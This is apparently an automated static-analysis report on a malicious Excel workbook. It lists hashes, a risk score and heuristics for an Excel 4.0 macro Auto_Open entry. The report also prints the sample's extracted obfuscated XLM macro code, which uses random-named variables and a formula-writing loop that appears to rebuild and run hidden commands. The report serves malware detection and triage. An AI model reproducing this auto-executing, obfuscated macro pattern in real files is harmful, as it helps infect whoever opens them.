Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 44d6d0e148b43dbb…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:39:20 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 4d66a2a6f1c7d55d1f5083f6430d5641 SHA-1: 233bb4efd0eea78e13447f8dec8def52bdb9d7af SHA-256: 44d6d0e148b43dbb2c9e4b3ab8138e1cf95cca8c05008ce12f64bead3da742ef
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6451 bytes
SHA-256: cf3f6c323a7b21557d168c669f5a4fc5954c0e08a2d3f1f485a0e11eb3470c70
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EoHkn
' 0018     20 LABEL : Cell Value, String Constant - AkIjW len=0 
' 0018     21 LABEL : Cell Value, String Constant - arFpEU len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H193 
' 0018     26 LABEL : Cell Value, String Constant - dPuZhZdHhku len=0 
' 0018     25 LABEL : Cell Value, String Constant - dWBnrjvcxu len=0 
' 0018     26 LABEL : Cell Value, String Constant - DYeYmgxzrLU len=0 
' 0018     24 LABEL : Cell Value, String Constant - ecBIvKkKO len=0 
' 0018     20 LABEL : Cell Value, String Constant - evXaN len=0 
' 0018     25 LABEL : Cell Value, String Constant - HKNHZOtnYy len=0 
' 0018     27 LABEL : Cell Value, String Constant - hQJCycOXlNfk len=0 
' 0018     24 LABEL : Cell Value, String Constant - icwvThILS len=0 
' 0018     24 LABEL : Cell Value, String Constant - itniOufQW len=0 
' 0018     27 LABEL : Cell Value, String Constant - IUNpAsLHvnZA len=0 
' 0018     21 LABEL : Cell Value, String Constant - iXRcPU len=0 
' 0018     24 LABEL : Cell Value, String Constant - mWCCaXhQo len=0 
' 0018     22 LABEL : Cell Value, String Constant - ncaoDxy len=0 
' 0018     21 LABEL : Cell Value, String Constant - pGPkKP len=0 
' 0018     20 LABEL : Cell Value, String Constant - sBwmR len=0 
' 0018     27 LABEL : Cell Value, String Constant - SWYgsZYLOFgi len=0 
' 0018     21 LABEL : Cell Value, String Constant - TAjruG len=0 
' 0018     26 LABEL : Cell Value, String Constant - VtjsisiNqON len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EoHkn,H100,"SET.NAME("HKNHZOtnYy",VALUE("0"))",""
'  EoHkn,H103,"SET.NAME("ecBIvKkKO",HKNHZOtnYy)",""
'  EoHkn,H107,"SET.NAME("SWYgsZYLOFgi",HKNHZOtnYy)",""
'  EoHkn,H111,"SET.NAME("hQJCycOXlNfk",COUNTA(TAjruG))",""
'  EoHkn,H115,"SET.NAME("arFpEU",COUNTA(sBwmR))",""
'  EoHkn,H118,[],""
'  EoHkn,H120,"SET.NAME("VtjsisiNqON","")",""
'  EoHkn,H123,"ecBIvKkKO",""
'  EoHkn,H127,"SET.NAME("icwvThILS",HLOOKUP("*",TAjruG,ecBIvKkKO,FALSE))",""
'  EoHkn,H129,"mWCCaXhQo",""
'  EoHkn,H134,"SET.NAME("DYeYmgxzrLU",HKNHZOtnYy)",""
'  EoHkn,H137,[],""
'  EoHkn,H142,"DYeYmgxzrLU",""
'  EoHkn,H145,"itniOufQW",""
'  EoHkn,H147,"dWBnrjvcxu",""
'  EoHkn,H151,"pGPkKP",""
'  EoHkn,H156,"SET.NAME("iXRcPU",VALUE(HLOOKUP("*",sBwmR,pGPkKP,FALSE)))",""
'  EoHkn,H161,"ncaoDxy",""
'  EoHkn,H165,"VtjsisiNqON",""
'  EoHkn,H167,"SWYgsZYLOFgi",""
'  EoHkn,H172,NEXT(),""
'  EoHkn,H177,"AkIjW",""
'  EoHkn,H181,"SET.NAME("f",INT(T(FORMULA(T(VtjsisiNqON)&"",""&T(AkIjW)))))",""
'  EoHkn,H185,"evXaN",""
'  EoHkn,H187,NEXT(),""
'  EoHkn,H189,RETURN(),""
'  EoHkn,H221,"SET.NAME("IUNpAsLHvnZA",H100)",""
'  EoHkn,H226,"TAjruG",""
'  EoHkn,H230,"SET.NAME("sBwmR",R57C13)",""
'  EoHkn,H235,"SET.NAME("evXaN",240)",""
'  EoHkn,H237,"SET.NAME("dPuZhZdHhku",8)",""
'  EoHkn,H239,IUNpAsLHvnZA(),""
'  EoHkn,H240,HALT(),""

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